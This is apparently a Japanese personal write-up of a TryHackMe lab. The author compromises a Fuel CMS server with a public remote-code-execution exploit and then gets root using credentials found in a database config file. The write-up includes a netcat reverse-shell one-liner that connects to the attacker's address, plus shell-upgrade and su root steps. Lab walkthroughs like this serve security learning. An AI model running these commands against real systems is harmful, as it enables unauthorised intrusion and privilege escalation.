はじめに
TryHackMeのPracticeにあるお題ですね
Webサーバーに関するもののようです
お題は以下二つのようです
- flag.txt
- root.txt
それでは、さっそくやっていきたいと思います!
flag.txt
安定のnmapからスタートしますが、ポート80番しか開いていなかったです。。
HTTPでアクセスしてみると、Fuel CMSというサイトがでてきました。
なんだろうと思ってGoogleで調べてみると、なんだか怪しいサジェスチョンが。。(笑)
ということで、msfconsole内で searchsploit Fuel
を実行すると下図が得られました
Remote Code Exeutionがありますねー
50477.pyがどこにあるか探してみます
全ディレクトリから検索するのは以下のコマンドが使えます!
find / -name 50477.py
以下のコマンドを実行
python3 50477.py -u http://10.10.7.223
2,3分経つと画面が変わった。うまくいったみたい
ただ、cd
などをしてもsystem
と返ってくるだけで、何も進まない、、、
うーん、わからなくなったので、Writeupを見てみることに、、、
https://qiita.com/v_avenger/items/cae682bfc986f261a6a9
リバースシェルを張る必要があるみたい
以下を実施したが、うまくいかず。。。
ローカル(自分のKali Linux)
nc -lnvp 4444
リモート(攻撃対象)
rm /tmp/f ; mkfifo /tmp/f ; cat /tmp/f | /bin/sh -i 2>&1 | nc [IPアドレス] >/tmp/f
ここで気が付く。。。
今、攻撃対象にTryHackMeが指定した手順でOpenVPNを使ってアクセスしているから、IPアドレスはVPNに割り振られたIpアドレスでないといけない。。。
ifconfigをして、tun0になっているところのIPアドレスを指定しないといけないんだ、、、
これを試してみるとリバースシェルがはれた!!!
あとはディレクトリをいろいろ探していけば、flag.txtが見つかります!
root.txt
他の方のWriteupにも記載されていますが、username,passwordを記載したphpファイルがあるとのこと。。。
(良い子は真似しないようにしましょう)
さっそくdatabase.php
を探していきます
find / -name database.php
(アクセスが拒否された、というログがたくさんでてくるので、grepを使うのがいいみたい)
catで開いてみると、デフォルト設定があった。。。
$db['default'] = array(
'dsn' => '',
'hostname' => 'localhost',
'username' => 'root',
'password' => 'mememe',
'database' => 'fuel_schema',
'dbdriver' => 'mysqli',
'dbprefix' => '',
'pconnect' => FALSE,
'db_debug' => (ENVIRONMENT !== 'production'),
'cache_on' => FALSE,
'cachedir' => '',
'char_set' => 'utf8',
'dbcollat' => 'utf8_general_ci',
'swap_pre' => '',
'encrypt' => FALSE,
'compress' => FALSE,
'stricton' => FALSE,
'failover' => array(),
'save_queries' => TRUE
);
Writeupを見つつ、以下を実行するしたところ、root.txtを確認できました!
この一連のコマンドで何をしているんだろうと思って整理してみました。
-
端末をインタラクティブにする
$ python -c 'import pty; pty.spawn("/bin/bash")'
このコマンドは、Pythonのpty(pseudo-terminal)モジュールを使用して、シェルを制限された状態からインタラクティブな端末に切り替えます。これにより、su rootのようなコマンドが正常に実行できる端末にします。 -
シェルを一時停止
^Z(Ctrl + Z)
現在のシェルを一時的に停止し、バックグラウンドに送る操作です。この操作は、次のステップで端末設定を変更するために必要です。 -
端末設定の変更
stty raw -echo;fg
stty raw -echoで、端末の入力を「rawモード」に変更し、エコーバックを無効にします。これは、端末が入力した文字を表示せずにそのままシステムに送信する設定です。
(これをしないとコマンドプロンプトが固まりました。。。。)
fgで、先ほどバックグラウンドに送ったシェルを再度フォアグラウンドに戻します。 -
rootユーザーへの切り替え
su root
インタラクティブな端末に変更されたことで、su rootコマンドが正常に動作し、パスワード入力を受け付け、root権限を取得できます。
最後に
Writeupを見れば、十分解ける問題ですし、流れもきれいな気がしました。
それよりも個人的にはVPNで割り当てられたIPアドレスを使わないといけない、ということに気がついたのが大きな発見でした。。